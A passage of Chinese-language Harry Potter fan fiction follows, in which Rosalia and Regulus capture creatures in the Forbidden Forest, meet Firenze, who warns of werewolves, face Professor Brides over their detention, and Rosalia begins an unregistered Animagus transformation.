“所以,我觉得堂姐说的没错,”雷古勒斯目视前方,语调上扬,“你们身上确实有值得我学习的地方。”
虽然还是在提“堂姐”,可他说这话的意味和重心已经完全不同了。罗萨利亚的嘴角不禁勾了起来:“听起来我和西弗勒斯成功当上了你的榜样呢。”
“没错。”雷古勒斯似乎没有发觉她的调侃,他偏过头看她,冷色调的眼睛在昏暗光线下闪烁,语气骄傲地说:“不过我以后也会很厉害的——我将来会成为布莱克的家主。”
罗萨利亚若有所思地看着他,忽然咯咯地笑了。
“你怎么、你怎么跟多米达堂姐一个反应?”雷古勒斯严肃了没几秒的脸红了起来。
“是吗?不过我不是笑你。”罗萨利亚扬起眉头说:“我只是忽然明白安多米达为什么找我了。”
“什么意思?”
“她怎么跟你介绍我的?她是不是跟你说——我会让她想起你?”
雷古勒斯瞪大了眼睛。
罗萨利亚了然了。她笑道:“她肯定会觉得我有点像你,也认为我一定会觉得你有点像我——你也这么认为,对吧?”
同样出身古老的纯血家族、同样被作为继承人寄予厚望地培养、同样肩负延续家族荣光的使命、同样进入了符合家族传统的学院。还有她在斯莱特林休息室谈判中曾刻意营造的形象:同样会为了保护自己的“亲人”挺身而出,甚至不惜代价——
这些,都让安多米达想到雷古勒斯。
所以,她才会写信给罗萨利亚,哪怕她们谈不上熟捻——她是如此相信:罗萨利亚·拉文谢德,没理由不亲近雷古勒斯·布莱克。
雷古勒斯显然也是这么认为的。他甚至还会把她并到“堂姐”的行列中,下意识地去亲近。
这些本是写在谜面上的答案,她却直到雷古勒斯把拉文谢德和布莱克联系在一起后才反应过来——
因为她毕竟不是真正的罗萨利亚·拉文谢德。
安多米达基于这重身份建立的推测是错误的。罗萨利亚遗憾地心想。但这也是没有办法的。哪怕安多米达会摄神取念,以自己目前的能力,也已经能够防住对方窥探自己的记忆……
“——但是现在,先不聊这个了。”她道。
罗萨利亚停下脚步,从怀中掏出魔杖,低声说:“既然拿我和西弗当榜样,那就从现在开始学习吧。”
雷古勒斯甚至还没能理解她的上一句话,此刻更是一脸茫然地看着她:“啊?”
“我问你,”罗萨利亚放下背上的玻璃容器,用杖尖指向提着老油灯、始终在缓慢前进的海格的后背,说道,“尖尖的呵气声什么时候停的?周围的雾气是什么时候变浓的?我们——走了多久了?”
雷古勒斯的汗毛一瞬间竖了起来。
37. 狗、马人、狼人
“荧光闪烁!”罗萨利亚大喊道。
她的杖尖刹那发射出强烈的光芒,周围阴暗、弥漫雾气的环境瞬间亮如白昼。一声尖锐的“咯吱咯吱”声从他们前方爆发出来。雷古勒斯想要看清发生了什么,却几乎睁不开眼,他下意识低头抬手挡住光线,愕然发觉自己和罗萨利亚已经不知什么时候陷入了沼泽地里。(1)
“统统石化!”
一道光芒从魔杖尖端飞出,那个单脚蹦跳、正准备逃逸的生物马上僵硬地倒在地上了。
“雷古勒斯,保持魔杖光亮替我照明,然后后退!”罗萨利亚判断地形后飞快地说。
雷古勒斯马上按照她的说法去做,然而沼泽没过了他的膝盖,每一次抬脚都像被施了束缚咒。突然,他感觉有什么湿湿的、滑滑的东西抱住了自己的脚踝,鸡皮疙瘩瞬间爬到头皮。
倒下之前,雷古勒斯的脑子一片空白,本能地大喊:“西里斯,它咬我——”
“力松劲泄!”罗萨利亚一把揪住了雷古勒斯的后衣领,让他不至于因为拖拽而一脸栽进沼泽中。
“冰霜冻结——”
以罗萨利亚魔杖划过的范围为界,沼泽开始飞速冻结。她扶着雷古勒斯爬上岸,在他们身后,一个仓皇躲闪冰冻咒、头上长角的水怪也在朝他们的方向爬来。
“速速禁锢!”长长的绳子飞了出去,那水怪便以攀爬的姿态被束缚在沼泽浅水地带。
“那是什么……”雷古勒斯看上去惊魂未定,衣着也已经泥泞,整个人狼狈不堪,可他的手还高举着发光的魔杖。
“格林迪洛,栖息于湖泊或沼泽,通常会把猎物拖拽进水中溺死。”她轻微地喘着气,又转头看向另一边:“那边那个独脚的,用灯光制造幻觉引诱我们前进的,应该就是欣克庞克。”(2)
“容器飞来。”
遗落在冰冻沼泽上的两个玻璃容器挣破冰冻朝岸边飞来。罗萨利亚将一动不动的欣克庞克扛进容器里关了起来,随后和雷古勒斯一起把格林迪洛转移到了岸上。二人一起从沼泽里取了些水,费力地把它也塞进了容器——几乎以折叠的状态。格林迪洛看上去有些崩溃了。
“没办法,今天本来不是来抓你的,但相逢即是缘,你还是跟我们走吧。”罗萨利亚用自以为悲悯的语气说完后,便用魔杖敲打瓶塞封死了容器。这时,格林迪洛和欣克庞克才得以动弹了。雷古勒斯见状,则咽了咽唾沫。
“你怎么——这么熟练?”他问。
“清理一新、热气腾腾。”罗萨利亚将二人的衣裳与鞋袜清洁烘干,半开玩笑说:“你找时间和西弗勒斯打几个来回就知道了——来吧,我来教你刚才战斗中用到的咒语。”
“……好!”
片刻后,两人在已经被魔咒轰得乱七八糟的沼泽边,帮助彼此重新背好玻璃容器。
“我们现在要怎么找到海格?”雷古勒斯望着身后黑暗阴森的禁林,语气却已然安定很多。
“我早有准备。”罗萨利亚连着吹了许多声口哨。
很快,一声渡鸦的啼叫就从远处传来。穆宁滑翔而来,落到她的肩膀上,大声叫嚷着。
“好了穆宁,我没事,”罗萨利亚摸了摸穆宁的羽毛,“海格在哪?”
穆宁振翅飞到前面带路。
“走吧。”
罗萨利亚举着魔杖照亮前路,二人沿着渡鸦勘探好的路线前进,四周只剩下他们窸窣的脚步声和来自背后玻璃容器的“砰砰”闷响。
雷古勒斯一直在挥动魔杖练习那些咒语的轨迹,林间偶然飞出的蝙蝠会被他立刻用魔咒打到地上。
“你学得真快,反应速度和精准度都很不错。”罗萨利亚不吝惜地夸奖道。
雷古勒斯听后明显雀跃起来:“如果再有机会碰上刚才的情形,我希望能做得更好。”
“你当然会。”罗萨利亚说完,顺势问出了心中的问题:“对了,雷古勒斯,我刚刚听你喊了西里斯的名字……我很好奇,为什么你第一时间想到的是他?我还以为你们关系不好。”
“……是不太好。”雷古勒斯的笑容收敛了几分,手指在魔杖上无意识摩挲着,说道:“但我当时不是——不是在下意识依赖他……我只是,又想到自己七岁时候的事了。”
“和狗有关吗?”罗萨利亚放轻了声音问。
“没错……”雷古勒斯这次没有绕开话题,他垂下眼睛,慢慢说道:“那天——是个工作日。”
“大人们都不在家,西里斯就问我想不想出去玩。他很少主动找我玩……所以我们就背着克利切偷跑出去了。”
“大街上人很多,西里斯窜来窜去,我跟不上他——或许他也不想我跟着——反正,我很快就迷路了。”他说完,沉默了一会儿,才又道:“在找他的时候,我不小心拐进了一个全是流浪狗的巷子。”
“它们一看到我就冲我叫,见我想跑,就开始追我。我跑不过它们,就被咬了好几口……后来我再睁眼的时候,已经在圣芒戈医院了。”雷古勒斯停住了,他望向罗萨利亚,本意是故事到这里就结束了,然而,却发现对方正平和又沉静地注视着自己。
那双暖色的眼睛如烛火般照着他,没有一丝批判和审视,仿佛不论他说出什么,都能熔化殆尽。
“我在听。”雷古勒斯听见她轻柔说:“说吧,雷吉。”
“……妈妈非常、非常生气。”他情不自禁地说了下去,语气糅进了痛苦,说道:“她把西里斯叫了进来,用魔杖抽打他,问他是不是想趁机把我丢掉。西里斯愤怒地看着我,问我刚刚就是这么跟妈妈说的吗?”
“其实我没有。我甚至骗妈妈说,是我自己要出门玩的。但那时候我、或者直到现在都——这些想法我没告诉过任何人,连多米达堂姐都不知道,”雷古勒斯忽然拽住罗萨利亚的袍子轻声道,“罗萨利亚,你千万别说出去。”
“当然。”
他用自己那双灰眼睛可怜地望着她,艰难地说:“……我无法确定,西里斯那天是不是真的想要遗弃我。这个念头令我太害怕了。我当时一句话都说不出来。”
“再后来,妈妈就把他锁在房间里关了很久……从那时起,西里斯便彻底讨厌我了。”雷古勒斯低下头,不再说话了。
周围再度变得安静了。
雷古勒斯很希望罗萨利亚能说点什么,可对方没有即时地回复。他心头逐渐涌上些许悔意。自己好像不该说这些的。多米达堂姐说的果然没错,和罗萨利亚交流时不应该掉以轻心——
“你身上,有因此留疤吗?”
雷古勒斯缓缓把头抬了起来,错愕地“啊”了一声。
“我想说的是,你当时都晕过去了,这绝不是什么小伤。”他看见对方皱起眉头,眼睛正映照出自己呆滞的模样。她轻声问道:“除了怕狗,有留下什么身体上的后遗症吗?”
“……除了小腿留了一点疤,没什么后遗症。”雷古勒斯听到自己这么说。
“那就好。”罗萨利亚说:“这是个挺严肃的事,等会儿我会劝说海格把尖尖牵起来。你要是害怕,就拉着我的手吧。”
“……好的。”雷古勒斯小声说着,把轻轻发颤的魔杖藏到袖子里去了。
“嘎——嘎——”
忽然,穆宁长长地鸣叫两声。罗萨利亚警惕地熄灭了魔杖的光。很快,一阵细密地脚步声就从远处传来——似乎不像是一个人能发出的。但是,二人很快听到海格气喘吁吁的呼唤:“罗塞拉——雷古拉——你们在附近吗——”
“都怪我,”他不安又焦躁地怒吼声传来,“都怪我!”
然而,在他的咆哮之后,还有另一个更冷静的声音在说话:“冷静!海格!我不久前才从这经过,这附近是没有狼人的。”
“别说是狼人——罗塞拉和雷古拉只是
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两个十一二岁的学生!他俩连狗都怕!稍微大一点的老鼠都能弄死他们——”海格道。
罗萨利亚和雷古勒斯面面相觑,此时,格林迪洛正在他们背后发出“咚咚”的撞击声。
“汪!汪汪!汪汪!”
“别担心,我已经说服罗南和贝恩去搜寻他们了。”另一个声音说。
“海格!”罗萨利亚大声喊道。
“谁?谁!”海格把灯往前举起来,他身边的尖尖吠叫着冲了出去。
“罗塞拉和雷古拉?是你们吗——”
罗萨利亚挡在雷古勒斯前面,尖尖不断地扑她的衣裳。她重新点亮魔杖,喊道:“是我们!海格——你能不能先把尖尖抱走——”
“梅林的胡子!”片刻后,海格一手怀抱尖尖,一手提着油灯打量两人背上的东西,惊叹道:“这是你们俩抓的?”
罗萨利亚说:“对,不过我们只抓到一只欣克庞克。没碰到第二只。”
“我想一只就足够布瑞兹用的了。”海格道。
“这是……马人族吗?”雷古勒斯则仰着头,惊叹地看向海格身边那个半人半马的生物:“你——你好?”
“没错。”年轻的马人自我介绍道:“我叫费伦泽,你们好,罗塞拉、雷古拉。”
“你好。”罗萨利亚打了声招呼:“准确地说,其实我们俩叫罗萨利亚和雷古勒斯。”
海格“哦”了一声,颇不好意思地说:“抱歉,我有点口音……”
“但这么念也挺可爱的。”罗萨利亚又道。
海格高兴地扬起眉毛。
“既然人已经找到了,我就该去和我的同伴汇合了。”费伦泽叮嘱道:“海格,你可要记得把狼人的事告诉邓布利多。”
“没问题!这个我忘不了。”海格道。
“狼人?”雷古勒斯问:“禁林里面真的有狼人?”
“确实有。”费伦泽道:“以前在我们的活动范围内,总能碰见一两只,但仅限满月前后。然而,最近他们的数量明显变多了,有部分还会在禁林中游荡。”
“他们留的抓痕到处都是,一片狼藉!而且还有不少长期生活的痕迹——”海格皱着眉,粗声粗气地说:“就在找你们的路上!费伦泽指给我看的时候,可把我吓坏了,我真担心你们会碰见狼人。”
“长期的生活痕迹?在禁林?”罗萨利亚的眉头压低了。她估计这里距离霍格沃茨也就两英里。
“很多狼人是无处可去的,小姐。他们很少被作为人来看待。一旦身份暴露,轻则被驱逐,重则被猎杀。走到绝境时,危险的禁林也可以成为他们的庇护所。”费伦泽轻声解释道。
“听起来你曾跟他们交涉过。”罗萨利亚说。
“没错,但只是个别几个还算友善的。我见过他们是如何变身的。”费伦泽道:“因此,我很理解人类为什么怕他们。狼人变身时,也不会把人当作同类——他们的本能只有传播狼毒,连血亲都不会放过。想象一下,被一个又高又壮、跑得飞快、浑身长满狼毛的野兽张开血盆大口咬住,你的皮肉随时都会被剥离骨骼——”“抱歉!请停一下!”
罗萨利亚看了看面色惨白的雷古勒斯,说:“不好意思打断你,但是请你别继续讲这个了,我们都有点害怕了。”
“好吧,吓唬你们并不是我的本意。”费伦泽用前蹄在地上踢踏两下,停止了绘声绘色的描述,继续道:“此外,我还听贝恩说,狼人中更多的是穷凶极恶之辈,他们在故意伤人后,为了逃避魔法部的抓捕,躲进禁林暂避风头。”
罗萨利亚不禁想到一周前莉莉口述的那则预言家日报。
“然而,即使被捕,他们给受害者造成的伤害也是永恒的。”费伦泽说:“狼毒会让这些可怜人余生的每一次月圆都充满失控、癫狂和痛苦,最重要的是,他们再也不会被人类社会接纳——即使他们大部分时候还是人。”
38. 推迟禁闭
费伦泽话锋一转,又道:“不过,不管是哪种情况,他们都没有理由在禁林长期生活。”
“没错,禁林里又没有帐篷和食堂。”海格接着说道。他指指自己的肚子,手里的油灯晃荡起来,说:“我是说,他们作为人的时候,肯定还是要吃饭和睡觉的吧。”
“是这样的。总之,我会继续留意他们异常的动向。”
“太好了,真是麻烦你了,费伦泽!万事小心!”
“不客气。不过,我建议霍格沃茨最好暂时停掉和禁林有关的禁闭活动。”
“我会把这事告诉邓布利多的,他会决定的。”
“好的。”费伦泽围着他们转了一圈,随后把脑袋抬起来,用那双蓝得惊人的眼睛注视着夜空,说道:“新月前后,西里斯更显耀眼了。”
“谁?”罗萨利亚和雷古勒斯异口同声地说。
“不是‘谁’,是星星——天狼星。现在才九月,它不该这么亮。”费伦泽道。
罗萨利亚顺着他的视线看去,然而目之所及的星星几乎都被四周细密修长的枝叶遮蔽。
马人说道:“也许这不是一个好征兆。”
“时候不早了,我该回去了,你们也是。”
大半个小时后,海格终于带着罗萨利亚和雷古勒斯走到了禁林边缘。他舒了口气:“呼——总算结束了。你们现在自由了,小家伙们。”
“只自由了一个。”罗萨利亚抬起头看他,有些期待地说:“雷古勒斯的禁闭结束了,我的还没有。海格,你打算今天告诉邓布利多教授这件事,还是明天?”
她还有卡巴没抓到,这无疑是最难的一个,罗萨利亚也完全不想费劲去找它——苏格兰本土的卡巴很少,即便是搜遍偌大的禁林,也未必能找到几只——她估计布瑞兹只是想让她尝尝失败的滋味,而从不认为她真能抓到什么黑魔法生物。(1)
“哈哈我知道你很心急,但现在时间太晚了,邓布利多一定在休息了。”海格说道:“明天你可以跟我一起去找他,怎么样?”
“好。”
海格点点头。忽然,他目光看向前方的小屋,又道:“那是谁?”
罗萨利亚扭过头去。
雷古勒斯道:“是西弗勒斯!”
斯内普正从海格小屋的方向朝他们走来。奇怪的是,他脚边还跟着两个发亮的圆点。
雷古勒斯脚步快了起来,道:“阿黑也来了!”
……这么远这么暗,他是怎么看出来那是只猫的?罗萨利亚心想。
“原来是你们的朋友?”海格说:“你们关系还真不错,他还来接你们。”
“羽加迪姆勒维奥萨。”斯内普挥动魔杖。
罗萨利亚和雷古勒斯顿时感到肩膀一轻。他们背后沉甸甸的、装有格林迪洛和欣克庞克的玻璃容器略微向上漂浮起来。待二人解开身上的绑带,斯内普便施展移动咒,把容器运到了海格小屋门前的院子里。
“干得不错!”海格夸赞完后,又道:“呃,但实际上禁闭活动是不允许用魔法偷懒的——不管了,反正都结束了——晚上好!”
“喵。”阿黑撒开腿就要朝雷古勒斯跑去,却被斯内普弯下腰一把捞起来。他回应海格说:“晚上好,先生。”
罗萨利亚活动着酸涩的肩膀走过去:“你怎么来了?”
斯内普将猫塞给雷古勒斯,又用魔杖把对方连人带猫一并拨开,同时,还给罗萨利亚变出了一份热腾腾的、包着油纸的东西——是汉堡。
罗萨利亚惊讶地看着他。
“晚上还有天文课。”斯内普接着说:“他没有份,我才知道他也被关禁闭了——雷古勒斯,你的猫今晚打翻了我的草药瓶,六次。”
“阿黑肯定是无聊了。”雷古勒斯立刻紧张地说。他的模样就仿佛真的在面对斯内普教授一样。而阿黑此刻扑在他肩膀上,警惕地望向海格怀里的尖尖。
“走吧,马上八点宵禁了,先回去——海格我们先走了。”罗萨利亚挥别海格,晃动魔杖说道:“荧光闪烁。”
一轮微弱的新月悬挂空中。魔杖的光芒照亮三个步履匆匆的人的前路。
“对了,莉莉最后去看魁地奇选拔了吗?”
“去了。”
“嗯……好吧。”
“魁地奇选拔?”
“今天有魁地奇队员选拔比赛,你不知道吗?”
“啊,我不知道,我是不是错过什么重要的事了?”
“也不算重要,而且他们一般也会设置年龄门槛,你要感兴趣的话,明年可以留意一下。”
“好。”“咕噜噜……”
“……对不起,但是我好饿。我也没有吃晚饭。海格的岩皮饼真的很硬,我嚼不动……”
“西弗,要不我们——”
“我没有在厨房夜游的打算。”
“哎,今晚星星好多好亮,对了,你刚才说什么?”
“……罗萨利亚。”
周六一大早,罗萨利亚便咬着今早从厨房顺走的蜂蜜面包往海格小屋赶去了。她一面留心压住舌头下的曼德拉草叶片,一面哈欠连天地咀嚼自己的早餐。
一阵熟悉的犬吠过后。海格惊讶地拉开门,他头发乱糟糟的,看上去刚起床不久:“罗塞拉,你来得这么早!”
罗萨利亚说道:“禁闭纸条上写的,要我早上七点到。”她还特意用嘀咕钟设定了起床时间。
“梅林的胡子,你简直是最守规矩的禁闭学生了。”海格不可置信地说。
“我听说,布瑞兹教授是双周的周末值班。我猜她昨晚应该住校了吧。”
“你是从哪儿知道的?”
罗萨利亚叹了口气,答非所问说:“我只是怕她会突击检查。”
“早上七点就来检查?这怎么可能!”海格说。
“为什么不可能?”一道声音远远传来。
“什么……”海格拧起眉头,望向远处的那抹身影。而罗萨利亚则对着空气翻了个白眼,心想:果然。
今明两天的值班教授有布瑞兹这件事,是她从斯内普那里得知的。
自上学年那事之后,卢修斯反而对斯内普更加信任了,他不但觉得后者提出暂停魔药合作十分谨慎合理,还心虚地给了对方一些补偿,其中就包括了给斯内普看他的值班表。
昨晚三人卡点回到城堡,斯内普坚持拉着雷古勒斯回休息室,又怕罗萨利亚一个人回拉文克劳塔楼的路上会再度喜提禁闭,就暗示她进行摄神取念了。
她多么希望自己的直觉有时候能不那么准。
布瑞兹快步走来,看上去精神满满,她从胸前口袋拿出一块怀表,说:“七点零一分。海格,我想你该行动起来了。”
“行动什么?”海格僵硬地站在门前,面色变得很差。
“当然是带着拉文谢德小姐开始禁闭任务,去抓格林迪洛。”布瑞兹睨一眼罗萨利亚说:“拉文谢德小姐,你昨晚的禁林之旅怎么样?”
罗萨利亚轻松地说:“很好玩,布瑞兹教授。”
“好玩?”布瑞兹的眼角抽动起来,她开口说:“这么说,你一定顺利抓到欣克庞克了?它在哪?我要把它转移到我的办公室里。”说着,她的眼睛瞥进海格与门的缝隙中。
海格喝叫一声,挡住了凌乱的房间,喊道:“你这样很没礼貌,你知道吗!”
“汪汪汪!!”尖尖也大叫起来。
“你的声音真的很大。”布瑞兹捂上自己的耳朵,锁紧眉头。她停止了往小屋里面打量着,面上却不加掩饰地流露出嫌恶:“我没看到欣克
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庞克。”
“那是因为我把它放在院子里了!后院!”
“什么!”布瑞兹的声音一瞬间盖过了海格。她转身跑向后院,靴上附着的泥巴在海格小屋门前留下了两道印子,随后尖锐地说:“你难道不知道欣克庞克对强烈光线很敏感?现在太阳都升起来了。”
“我正要把它们转移进来,”海格的声音小了一点,“而且现在还在起雾呢!”
“梅林的胡子。”布瑞兹的脚步停下了,她看到了后院南瓜地里的两个玻璃容器,也认出了里面的格林迪洛和欣克庞克。她愕然说道:“你们已经抓住了格林迪洛?”
“难道这很难吗?”罗萨利亚故作困惑。
布瑞兹眯起眼,把她从头到脚看了一遍,好似在重新认识她一样。但她马上又咋咋呼呼地说道:“但是你只抓了一只欣克庞克,而我说过我需要两只。这个容器太小,本来就不适合装格林迪洛,你盛的水也很少,它的皮肤都快开裂了!”
罗萨利亚看了一眼格林迪洛,她甚至觉得它现在比昨晚要没那么崩溃了。于是她也这么说了出来。
“那是因为它快死了!”布瑞兹狠狠地瞪了她。
然后,她又回过头诘问海格道:“还有海格你,得亏邓布利多还说你对生物这块儿是有些研究的?”
海格不知道是愤怒还是局促,脸红了起来:“我——我了解的是神奇动物方面的,又不是黑魔法生物……”
可他的面色很快又变得煞白了,因为布瑞兹紧接着冷冷说道:“我真无法相信,他竟然会聘请你这样的——这样的一个混血巨人来做看守。”
她说完,又看向罗萨利亚,似乎在期待从她脸上找到一丝恐惧,然而,罗萨利亚却笑了起来:“没错,这就是邓布利多教授的决定。”
一道紧张的目光正落在她背后,罗萨利亚知道那是海格。她没回头,只是接着反问布瑞兹道:“难道你在质疑邓布利多教授的智慧与眼光吗?布瑞兹教授,难道你不是他聘请来的?我没看出海格和你有什么区别。”
“拉文克劳扣十分!”布瑞兹恼羞成怒了。
“够了!”海格喊道。
他“咚咚”地走到罗萨利亚身边,面对着布瑞兹。后者的手按在了自己的魔杖上。他拉过罗萨利亚的肩膀,把她拨到自己身后,说:“走,我们去找邓布利多说正事。”
“你们还想找邓布利多做什么?”布瑞兹道:“喂!”
半小时后,海格、罗萨利亚和布瑞兹就一起站在了邓布利多面前。
邓布利多正穿着一件薄荷绿色的长袍睡衣,头上还戴着同款颜色的睡帽。他就着一杯不断冒泡的橙汁,听完了海格对费伦泽的话的转述。
“我知道了。”邓布利多的手指在摩挲杯壁:“既然如此,为了学生安全考虑,我也认为应该暂时取消和禁林有关的禁闭活动。”
“那拉文谢德小姐的禁闭呢?校长?”布瑞兹看上去很不满意。
邓布利多说:“我想弗立维教授会重新安排好的。”
“校长,我坚持认为,只有在禁林这种地方,才能让拉文谢德小姐的傲慢和自大收敛起来。”布瑞兹道。她的语气正义凛然到让罗萨利亚决定用不可思议的目光看她。
“那怎样做才能让你满意呢?”
“实际上,校长,禁林活动本来就不是百分百安全的,我认为没必要暂停。危险和恐惧也是惩罚的一部分不是吗?”见邓布利多微微张口,布瑞兹又补上一句:“如果您实在担心,我提议,不如等那些狼人离开后,再让拉文谢德小姐继续禁闭任务。”
邓布利多看了一眼罗萨利亚,最终说:“好吧,那就按你说的,对拉文谢德小姐的禁闭任务做延后处理。布瑞兹教授,你现在可以带着格林迪洛和欣克庞克回办公室了。”
39. 月相
布瑞兹重新拎起地上的两个玻璃容器,她转身离开前,又冷冷地看了罗萨利亚一眼。
校长办公室的大门关上了。
邓布利多道:“时间差不多了,你们要去吃早餐吗?”
海格闷闷不乐地说:“邓布利多教授。老实说,我现在吃不下饭。”
罗萨利亚直白地道:“刚才布瑞兹教授冒犯海格,贬低他混血巨人的身份。”
“其实我已经不在意这个了,我确实是一个混血巨人。”海格摇摇头说:“但罗塞拉为我说话,还被布瑞兹教授扣了分,先生……”他看向邓布利多。
邓布利多的目光转移到罗萨利亚身上,遗憾地说:“我无法干涉教授们的增减分决定。”
他放下了那杯橙汁,里面的泡泡已经不再沸腾了:“布瑞兹教授早年的工作,让她拥有丰富的对战黑魔法生物的经验——这对黑魔法防御教学无疑是好的——然而同时,也让她对巨人群体抱有偏见。所以,海格,我很感谢你的理解。”
海格翘了翘自己的脚:“这没什么,先生。”
邓布利多道:“我很希望她能快些意识到,霍格沃茨有你的守护是一种幸运。”
“先生……”海格吸了吸鼻子。
“还有拉文谢德小姐,”邓布利多转向罗萨利亚说,“我从弗立维教授那里了解到了你在黑魔法防御课上的表现,他为你出色的决斗技巧而骄傲,尤其是变形术的实战应用——你在变形术上的天赋,麦格教授也跟我提到过。”
“我很抱歉误伤了斯莱特林学院的学生。”罗萨利亚耸起肩膀说道。
“别担心,诺特先生昨晚已经出院了。而且斯拉格霍恩教授很愿意从中调和。”邓布利多接着道:“他说比起这事儿,还是你的魔药成绩更令他印象深刻——你会发现,在不少教授眼里,你都是个有天赋的好学生。就连我也认为你有很强的洞察力。”
“……我不知道这些。”罗萨利亚有点惊诧了:“我也没那么好,先生……您知道的,我和西弗勒斯的关系,我是沾了他的光……”
“是吗?不过你看,你也并不是布瑞兹教授口中那个傲慢自大的人。”邓布利多的语气轻快:“所以,不必懊恼,你只要正常表现自己,布瑞兹教授会慢慢对你改观的。”
“……我知道了。”
罗萨利亚在心底哼了一声。
她刚刚还以为邓布利多真的在夸她呢,结果就是为了诈她一下……
“至于禁闭的事……”邓布利多又端起那杯橙汁了。他欣然地说,“说不定布瑞兹教授过段时间就忘了——现在,你们有谁想和我一起去礼堂吃早餐?”
……
“现在,你们有谁能总结月相周期变化影响的主要范畴——拉文谢德小姐,请。”
“月相周期变化主要会影响自然规律、生物节律、人类行为与文化,以及魔法反应。”罗萨利亚回答道:“很多魔法、魔药都受到月相变化的影响,尤其是满月。”
“很好。拉文克劳加五分。”
“撒谎精这两个周为什么突然这么积极?”詹姆对正在拆解望远镜的小天狼星抱怨道:“根本抢不过她。”
“据说她禁闭期间又被布瑞兹扣了十分。再加上昏昏倒地的那十分,以及这几次黑防课上零零散散扣掉的,她都快把上回给拉文克劳赢来的那三十分扣没了。”小天狼星把几颗螺丝和桌面上的寻星镜、目镜等零件放在一起,语气里带着幸灾乐祸。
“真的假的?太棒了,你从哪听说的?”詹姆打了个哈欠,随口问道。
“我——”只听“咔哒”一声,望远镜的对焦器突然整个滑了出来。小天狼星快速伸手挡住,才避免了摔落发出的噪音。他舒了一口气,重新把对焦器安装回去,心不在焉地道:“我听莉莉说的。”
“不可能。”詹姆一愣,小声说:“她没说过吧?我没有印象啊。难道是在我训练魁地奇的时候?”
“要么就是莱姆斯。”小天狼星耸耸肩:“我干嘛要记这些?”
“说起莱姆斯……他今天又没来。”詹姆环顾四周。
小天狼星则不以为然:“莱姆斯上回不是说,这是因为他妈妈生病了,所以以后每个月都要回去看她吗?”
“你真的信了?”詹姆开始揪自己的头发:“我感觉还不如他之前说的‘被打人柳攻击’和‘帮斯普劳特搬运中国咬人甘蓝时被误伤’的借口——对吧?”
彼得见詹姆在看他,便点了点头表示赞同。
“满月将于今夜凌晨四点降临,这堂天文课上正适合作为测绘月相的第一天。”辛尼斯塔教授在台上说:“现在,拿出你们的望远镜,开始画第一幅满月图吧。”
“很好,现在我们还要给莱姆斯也画一份——再说了,他身上的伤口还没法快速痊愈,这不是因为黑魔法还能是——”詹姆像是想起什么,表情变得很臭:“反正,我就认定鼻涕精和撒谎精了,我迟早会找到证据,证明给伊万斯看。”
闻言,小天狼星的视线移到了对面某个人身上。他顿了顿,有点生硬地道:“他俩是很可疑,但莱姆斯不是说没这回事吗?也许我们该换个思路?”
“……什么?你怎么变了?你忘了自己去年魁地奇说什么了?”詹姆抗议道:“‘鼻涕精和撒谎精离开场地一定是去欺负莱姆斯了。他身上的伤估计就是这么来的’——还有打人柳——你说每逢莱姆斯请假消失那几天,他俩就不去打人柳了,这肯定不是巧合——”
“安静!”听到动静的辛尼斯塔教授瞪了过来。
紧接着,小天狼星看到一双浅蜜色的眼睛转过来了,他立刻把头贴近自己的望远镜。
辛尼斯塔教授远远地看着他们,似乎注意到了什么。她走过来问:“你在看什么呢?布莱克先生?”
小天狼星回答道:“我看月亮呢,教授。”
闻言,詹姆从喉咙里发出一声呻吟。
“是吗?”辛尼斯塔教授从二人桌上拿起一个零件:“你把目镜拆掉了,拿什么看的月亮,布莱克先生?”
……
月过中天,拉文克劳寝室的灯火都熄了,罗萨利亚慢慢从盥洗室里出来。
她刚刚洗漱完毕——整个过程她都用舌头死死地压住了曼德拉草叶片。经过两个多月的反复练习,她对此可以说是非常熟练了。
而现在,已经是九月二十三日,满月的第一天。
罗萨利亚挑选了一片看起来最结实、大小也刚刚好的叶片,小心翼翼地放在了自己舌下——那正是上一枚叶片在她嘴里呆满三十天的位置。
她知道自己已经准备好了。她即将正式开始阿尼玛格斯变形术的第一步。
几天前,艾琳夫人写信告知了她有关混合剂制作的细节:
【从满月到满月,变形者需在口中含一片曼德拉草叶子。如果吞下、吐出叶片或叶片脱落,或第二个满月日为阴天,一切必须从头再来。 】
【在第二个满月夜,变形者应将唾液浸泡过的曼德拉草叶片吐入一个能接收纯月光的小水晶瓶中,再将自己的一根头发、一银茶匙取自一处连续七天无人踏足、未受阳光照射的地方的露水和一只死亡头鹰蛾的蛹壳放入瓶中。】
【随后,变形者应将瓶子置于一个安静、黑暗、不受干扰的地方,此后每日日出与日落时,将魔杖尖对准心脏处,念出咒语 “Amato Animo Animato Animagus”,直至雷电天气来临。 】
【在第一道闪电出现后,变形者应立刻前往藏匿水晶瓶之地将其取出,若一切步骤正确,药剂将呈现血红色。变形者应寻觅安全之地,指杖于心脏、饮下药剂,并再次念咒,迎接第一次变形。】
【药剂起效后,变形者将经历剧痛,并能感受到双重心跳,此刻,脑中将浮现变形的动物。变形开始之后,即便变形者感到恐惧,也为时已晚。】
【完成变形后,变形者须能妥善保管好自己的魔杖。若要返回人形,变形者需在脑海中清晰地想象自己的人类形态。随着练习,将能在无杖情况下自由地在人与动物的形态之间切换。】(1)
……这真是相当折磨人的变形术。罗萨利亚看完后心想。<
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而且,若想在学校里进行,就得面临很大的风险——她第一时间想到了隐形斗篷。如果自己能有一件隐形斗篷,前期的行动阻力就会减轻许多。
罗萨利亚本来是打算让家养小精灵劳伊在购置银茶匙和水晶瓶的时候,试着打探一下哪儿能弄到一件普通款,没想到非常幸运地得知,拉文谢德堡的收藏室里就有一件。
这下万事俱备了!
哦,不过,当然,除了这些工具,最重要的还是——
“西弗,拜托你了。”
山毛榉树下,罗萨利亚把艾琳夫人的来信递给靠在树下坐着的斯内普:“你看,变形的时候,我得有人帮我保管魔杖。万一我变成了一条鱼或者一只虫子什么的,就拿不起魔杖了。”
斯内普正在垫着一本《毒菌大全》写草药课论文,他慢慢地说道:“我考虑一下。”
“……有什么可考虑的?”
“我只看到被关禁闭的风险……”他低着头写字。
“有隐形斗篷在,不会有什么大问题的。”
“没看到什么好处……”他继续说。
“有好处。”罗萨利亚从草坪上坐了起来:“等你想要练习的时候我可以当你的助手。”
“你也不能用我暂时没有的计划跟我交易。”斯内普道。
罗萨利亚凑近他:“西弗勒斯,你就不好奇我会变成什么小动物吗?你要是当我的助手,就会是第一个知道的人——也很可能是唯一一个。”
斯内普的羽毛笔停顿了一会儿。就在罗萨利亚以为自己成功诱惑了对方的时候,他却道:“你打算瞒着妈妈?”
“是的。”罗萨利亚道:“毕竟我不打算登记。”
“那再加一个条件。”斯内普继续书写说:“我想看拉文谢德堡的藏书。”
